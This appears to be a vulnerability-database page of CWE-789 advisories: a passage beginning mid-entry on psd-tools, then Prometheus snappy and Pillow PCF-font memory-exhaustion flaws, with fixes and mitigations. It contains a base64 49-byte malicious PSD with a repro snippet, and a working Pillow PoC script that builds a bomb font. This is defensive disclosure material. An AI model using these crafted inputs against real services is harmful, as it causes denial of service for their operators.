
7d8ebf03a54393cb0359ecf4b676d1b08c9a8c6afdd06671ef406d6893cce826  psd-psdtools-grammar-d23.psd

Root cause

The composite/numpy buffer is sized from the declared image (and per-layer) dimensions and channel/depth without checking them against the available data length or a sane maximum.

Suggested fix

Validate the declared dimensions, channel count, and per-layer rectangles against the actual file length (and a configurable maximum pixel/byte budget) before allocating; raise an error on overflow instead of committing the buffer and returning a black image.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "psd-tools"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.17.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59991"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T19:45:51Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n`PSDImage.composite()` (and `.numpy()`) allocate the output image buffer from the PSD\u0027s header geometry (width \u00d7 height \u00d7 channels \u00d7 depth, and per-layer rectangles) before validating those values against the actual file contents. A tiny crafted PSD declaring huge dimensions causes a multi-gigabyte allocation. Critically, `composite()` then returns a (black) image with only a warning, no exception is raised, so a caller cannot detect or guard against it.\n\n### Impact\nOn psd-tools 1.17.2 (latest), default usage, a 49-byte PSD makes `composite()` commit ~3 GB and return successfully (warning only); `.numpy()` reaches ~7.5 GB, and the per-layer rectangle is a second lever (up to ~32 GB), all from an input under 100 bytes (input-to-commit amplification over 1000\u00d7). Because the buffer is committed before validation and no exception is thrown, any service that composites untrusted PSDs is exposed to denial of service: on a host with less RAM than the attacker-declared geometry the allocation is an unrecoverable OOM-kill. \n\n### Steps to reproduce\n```python\n# pip install psd-tools==1.17.2\nfrom psd_tools import PSDImage\npsd = PSDImage.open(\"psd-psdtools-grammar-d23.psd\")\npsd.composite()   # commits ~3 GB from a 49-byte file and returns (warning only)\n```\n\nPoC (49 bytes), reconstruct with:\n```sh\nbase64 -d \u003e psd-psdtools-grammar-d23.psd \u003c\u003c\u0027EOF\u0027\nOEJQUwABAAAAAAAAAAYAACg4AAAXTAAIAAMAAAAAAAAAAAAAAAAAAUNIUIFU+yQtDw==\nEOF\n```\nVerify:\n```\n7d8ebf03a54393cb0359ecf4b676d1b08c9a8c6afdd06671ef406d6893cce826  psd-psdtools-grammar-d23.psd\n```\n\n### Root cause\nThe composite/numpy buffer is sized from the declared image (and per-layer) dimensions and channel/depth without checking them against the available data length or a sane maximum.\n\n### Suggested fix\nValidate the declared dimensions, channel count, and per-layer rectangles against the actual file length (and a configurable maximum pixel/byte budget) before allocating; raise an error on overflow instead of committing the buffer and returning a black image.",
  "id": "GHSA-8q6g-vjhf-jp8m",
  "modified": "2026-09-22T19:45:51Z",
  "published": "2026-09-22T19:45:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/psd-tools/psd-tools/security/advisories/GHSA-8q6g-vjhf-jp8m"
    },
    {
      "type": "WEB",
      "url": "https://github.com/psd-tools/psd-tools/commit/a3d9a53ad51e667b5772a4f636ca6f2e16f4b271"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/psd-tools/psd-tools"
    },
    {
      "type": "WEB",
      "url": "https://github.com/psd-tools/psd-tools/releases/tag/v1.17.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "psd-tools composite/numpy has uncontrolled memory allocation via crafted PSD geometry"
}

GHSA-8RM2-7QQF-34QM

Vulnerability from github – Published: 2026-05-05 19:34 – Updated: 2026-06-08 16:22
VLAI
Summary
Prometheus: Remote read endpoint allows denial of service via crafted snappy payload
Details

Impact

The remote read endpoint (/api/v1/read) does not validate the declared decoded length in a snappy-compressed request body before allocating memory. An unauthenticated attacker can send a small payload that causes a huge heap allocation per request. Under concurrent load this can exhaust available memory and crash the Prometheus process.

Patches

Has the problem been patched? What versions should users upgrade to?

Fixed in 3.11.3 and 3.5.3 LTS. Users should upgrade to these versions or later.

Workarounds

User who can not upgrade can place Prometheus behind a reverse proxy or firewall that requires authentication before requests reach /api/v1/read.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/prometheus/prometheus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.306.0"
            },
            {
              "fixed": "0.311.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/prometheus/prometheus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.305.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/prometheus/prometheus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0-rc.0"
            },
            {
              "last_affected": "2.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42154"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T19:34:05Z",
    "nvd_published_at": "2026-05-04T19:16:04Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nThe remote read endpoint (`/api/v1/read`) does not validate the declared decoded length in a snappy-compressed request body before allocating memory.\nAn unauthenticated attacker can send a small payload that causes a huge heap allocation per request. Under concurrent load this can exhaust available memory and crash the Prometheus process.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nFixed in 3.11.3 and 3.5.3 LTS. Users should upgrade to these versions or later.\n\n### Workarounds\nUser who can not upgrade can place Prometheus behind a reverse proxy or firewall that requires authentication before requests reach /api/v1/read.",
  "id": "GHSA-8rm2-7qqf-34qm",
  "modified": "2026-06-08T16:22:14Z",
  "published": "2026-05-05T19:34:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/prometheus/security/advisories/GHSA-8rm2-7qqf-34qm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42154"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/prometheus/pull/18584"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/prometheus/pull/18585"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/prometheus/prometheus"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/prometheus/releases/tag/v3.11.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/prometheus/releases/tag/v3.5.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prometheus: Remote read endpoint allows denial of service via crafted snappy payload"
}

GHSA-8V84-F9PQ-WR9X

Vulnerability from github – Published: 2026-07-20 21:08 – Updated: 2026-07-20 21:08
VLAI
Summary
Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading
Details

Description

PIL/PcfFontFile.py _load_bitmaps() (line 227) reads glyph dimensions from the PCF METRICS section and passes them directly to Image.frombytes() without calling Image._decompression_bomb_check(). Dimensions originate from unsigned 16-bit values:

xsize = right - left          (max: 65535 − 0 = 65535)
ysize = ascent + descent      (max: 65535 + 65535 = 131070)

Maximum exploitable pixel count: 65,535 × 131,070 = 8,589,734,450 pixels — 48× the DecompressionBombError threshold.

Vulnerable code (PIL/PcfFontFile.py line 224–227):

for i in range(nbitmaps):
    xsize, ysize = metrics[i][:2]    # from PCF METRICS — attacker-controlled
    b, e = offsets[i : i + 2]
    bitmaps.append(
        Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize))
        # ↑ NO _decompression_bomb_check()!
    )

Image.frombytes() calls Image.new() first (allocating the full C-heap buffer), then attempts to fill it. This creates two distinct attack paths:

  • Persistent attack: Provide matching bitmap data → frombytes() succeeds → image stored in font.glyph[ch] permanently
  • Transient attack: Provide a 148-byte PCF file with large declared dimensions but no data → Image.new() allocates the full buffer → ValueError → buffer freed → but the spike occurs before Python can respond

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation"""
import io, struct, tracemalloc, warnings
warnings.filterwarnings("ignore")

from PIL.PcfFontFile import PcfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError

W, H = 14000, 14000   # 196M pixels → above DecompressionBombError threshold

# Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
    _decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
    print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")

# PCF binary constants
PCF_MAGIC    = 0x70636601
PCF_PROPS    = 1 << 0
PCF_METRICS  = 1 << 2
PCF_BITMAPS  = 1 << 3
PCF_ENCODINGS= 1 << 5

def build_bomb_pcf(xsize, ysize):
    # Properties: empty
    props = struct.pack("<III", 0, 0, 0)

    # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent
    metrics = struct.pack("<II", 0, 1)
    metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)

    # Bitmaps: 1 glyph, empty data (transient attack)
    bitmaps = struct.pack("<II", 0, 1)
    bitmaps += struct.pack("<I", 0)              # offset[0] = 0
    bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 0

    # Encodings: char 0x41 ('A') → glyph 0
    enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62
    encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF)
    encodings += struct.pack("<" + "H"*128, *enc_offsets)

    secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),
            (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]
    hdr_size = 4 + 4 + len(secs) * 16
    out = struct.pack("<II", PCF_MAGIC, len(secs))
    offset = hdr_size
    for stype, sdata in secs:
        out += struct.pack("<IIII", stype, 0, len(sdata), offset)
        offset += len(sdata)
    for _, sdata in secs:
        out += sdata
    return out

pcf = build_bomb_pcf(W, H)
print(f"[*] PCF file size  : {len(pcf)} bytes")
print(f"[*] Glyph size     : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)")

tracemalloc.start()
try:
    font = PcfFontFile(io.BytesIO(pcf))
    _, peak = tracemalloc.get_traced_memory()
    tracemalloc.stop()
    print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB")
except Exception as e:
    _, peak = tracemalloc.get_traced_memory()
    tracemalloc.stop()
    print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation")
    print(f"    Heap peak: {peak/1024**2:.2f} MB")
    print(f"    C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception")

Expected output:

[Image.open() path] BLOCKED by DecompressionBombError
[*] PCF file size  : 148 bytes
[*] Glyph size     : 14000 x 14000 = 196,000,000 pixels
[*] C-heap target  : 23 MB  (mode '1' = 1 bit/pixel)
[!] CONFIRMED (transient): ValueError after allocation
    C-heap allocation of ~23 MB occurred before exception

Amplification table:

PCF file Glyph dims C-heap (mode '1') Bomb check
148 bytes 14000 × 14000 23 MB (transient) Bypassed
148 bytes 65535 × 131070 1.07 GB (transient) Bypassed
~512 MB 65535 × 131070 1.07 GB (persistent) Bypassed

Impact

  • Availability: HIGH — up to 1.07 GB per glyph, no limit per font file
  • Confidentiality: None
  • Integrity: None
  • Any service loading PCF fonts from untrusted sources (e.g., PcfFontFile(fp)) is affected
  • PcfFontFile is never loaded via Image.open(), so the bomb check protection is completely absent from the entire PCF font loading path
  • Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-07
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54059"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:08:27Z",
    "nvd_published_at": "2026-07-06T19:17:08Z",
    "severity": "HIGH"
  },
  "details": "## Description\n`PIL/PcfFontFile.py` `_load_bitmaps()` (line 227) reads glyph dimensions from the PCF `METRICS` section and passes them directly to `Image.frombytes()` without calling `Image._decompression_bomb_check()`. Dimensions originate from unsigned 16-bit values:\n\n```\nxsize = right - left          (max: 65535 \u2212 0 = 65535)\nysize = ascent + descent      (max: 65535 + 65535 = 131070)\n```\n\nMaximum exploitable pixel count: **65,535 \u00d7 131,070 = 8,589,734,450 pixels** \u2014 **48\u00d7 the DecompressionBombError threshold**.\n\n**Vulnerable code (`PIL/PcfFontFile.py` line 224\u2013227):**\n```python\nfor i in range(nbitmaps):\n    xsize, ysize = metrics[i][:2]    # from PCF METRICS \u2014 attacker-controlled\n    b, e = offsets[i : i + 2]\n    bitmaps.append(\n        Image.frombytes(\"1\", (xsize, ysize), data[b:e], \"raw\", mode, pad(xsize))\n        # \u2191 NO _decompression_bomb_check()!\n    )\n```\n\n`Image.frombytes()` calls `Image.new()` first (allocating the full C-heap buffer), **then** attempts to fill it. This creates two distinct attack paths:\n\n- **Persistent attack**: Provide matching bitmap data \u2192 `frombytes()` succeeds \u2192 image stored in `font.glyph[ch]` permanently\n- **Transient attack**: Provide a 148-byte PCF file with large declared dimensions but no data \u2192 `Image.new()` allocates the full buffer \u2192 `ValueError` \u2192 buffer freed \u2192 but the spike occurs before Python can respond\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: PcfFontFile bomb bypass \u2014 148-byte PCF \u2192 23 MB allocation\"\"\"\nimport io, struct, tracemalloc, warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom PIL.PcfFontFile import PcfFontFile\nfrom PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError\n\nW, H = 14000, 14000   # 196M pixels \u2192 above DecompressionBombError threshold\n\n# Show what Image.open() would do\nwarnings.filterwarnings(\"error\", category=DecompressionBombWarning)\ntry:\n    _decompression_bomb_check((W, H))\nexcept (DecompressionBombWarning, DecompressionBombError) as e:\n    print(f\"[Image.open() path] BLOCKED by {type(e).__name__}\")\nwarnings.filterwarnings(\"ignore\")\n\n# PCF binary constants\nPCF_MAGIC    = 0x70636601\nPCF_PROPS    = 1 \u003c\u003c 0\nPCF_METRICS  = 1 \u003c\u003c 2\nPCF_BITMAPS  = 1 \u003c\u003c 3\nPCF_ENCODINGS= 1 \u003c\u003c 5\n\ndef build_bomb_pcf(xsize, ysize):\n    # Properties: empty\n    props = struct.pack(\"\u003cIII\", 0, 0, 0)\n\n    # Metrics (jumbo, non-compressed): 1 glyph \u2014 xsize=right-left, ysize=ascent+descent\n    metrics = struct.pack(\"\u003cII\", 0, 1)\n    metrics += struct.pack(\"\u003cHHHHHH\", 0, xsize, xsize, ysize, 0, 0)\n\n    # Bitmaps: 1 glyph, empty data (transient attack)\n    bitmaps = struct.pack(\"\u003cII\", 0, 1)\n    bitmaps += struct.pack(\"\u003cI\", 0)              # offset[0] = 0\n    bitmaps += struct.pack(\"\u003cIIII\", 0, 0, 0, 0) # bitmap_sizes all = 0\n\n    # Encodings: char 0x41 (\u0027A\u0027) \u2192 glyph 0\n    enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62\n    encodings = struct.pack(\"\u003cIHHHHH\", 0, 0, 127, 0, 0, 0xFFFF)\n    encodings += struct.pack(\"\u003c\" + \"H\"*128, *enc_offsets)\n\n    secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),\n            (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]\n    hdr_size = 4 + 4 + len(secs) * 16\n    out = struct.pack(\"\u003cII\", PCF_MAGIC, len(secs))\n    offset = hdr_size\n    for stype, sdata in secs:\n        out += struct.pack(\"\u003cIIII\", stype, 0, len(sdata), offset)\n        offset += len(sdata)\n    for _, sdata in secs:\n        out += sdata\n    return out\n\npcf = build_bomb_pcf(W, H)\nprint(f\"[*] PCF file size  : {len(pcf)} bytes\")\nprint(f\"[*] Glyph size     : {W} x {H} = {W*H:,} pixels\")\nprint(f\"[*] C-heap target  : {W*H//8//1024**2} MB  (mode \u00271\u0027 = 1 bit/pixel)\")\n\ntracemalloc.start()\ntry:\n    font = PcfFontFile(io.BytesIO(pcf))\n    _, peak = tracemalloc.get_traced_memory()\n    tracemalloc.stop()\n    print(f\"[!] CONFIRMED (persistent): bomb check bypassed \u2014 heap peak {peak/1024**2:.2f} MB\")\nexcept Exception as e:\n    _, peak = tracemalloc.get_traced_memory()\n    tracemalloc.stop()\n    print(f\"[!] CONFIRMED (transient): {type(e).__name__} after allocation\")\n    print(f\"    Heap peak: {peak/1024**2:.2f} MB\")\n    print(f\"    C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception\")\n```\n\n**Expected output:**\n```\n[Image.open() path] BLOCKED by DecompressionBombError\n[*] PCF file size  : 148 bytes\n[*] Glyph size     : 14000 x 14000 = 196,000,000 pixels\n[*] C-heap target  : 23 MB  (mode \u00271\u0027 = 1 bit/pixel)\n[!] CONFIRMED (transient): ValueError after allocation\n    C-heap allocation of ~23 MB occurred before exception\n```\n\n**Amplification table:**\n\n| PCF file | Glyph dims | C-heap (mode \u00271\u0027) | Bomb check |\n|---|---|---|---|\n| 148 bytes | 14000 \u00d7 14000 | 23 MB (transient) | Bypassed |\n| 148 bytes | 65535 \u00d7 131070 | 1.07 GB (transient) | Bypassed |\n| ~512 MB | 65535 \u00d7 131070 | 1.07 GB (persistent) | Bypassed |\n\n## Impact\n- **Availability**: HIGH \u2014 up to 1.07 GB per glyph, no limit per font file\n- **Confidentiality**: None\n- **Integrity**: None\n- Any service loading PCF fonts from untrusted sources (e.g., `PcfFontFile(fp)`) is affected\n- `PcfFontFile` is never loaded via `Image.open()`, so the bomb check protection is completely absent from the entire PCF font loading path\n- Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-07",
  "id": "GHSA-8v84-f9pq-wr9x",
  "modified": "2026-07-20T21:08:27Z",
  "published": "2026-07-20T21:08:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54059"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2253.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` \u2014 bomb protection bypass via PCF font loading"
}
Mitigation
Implementation Architecture and Design

Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.

Mitigation
Operation

Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list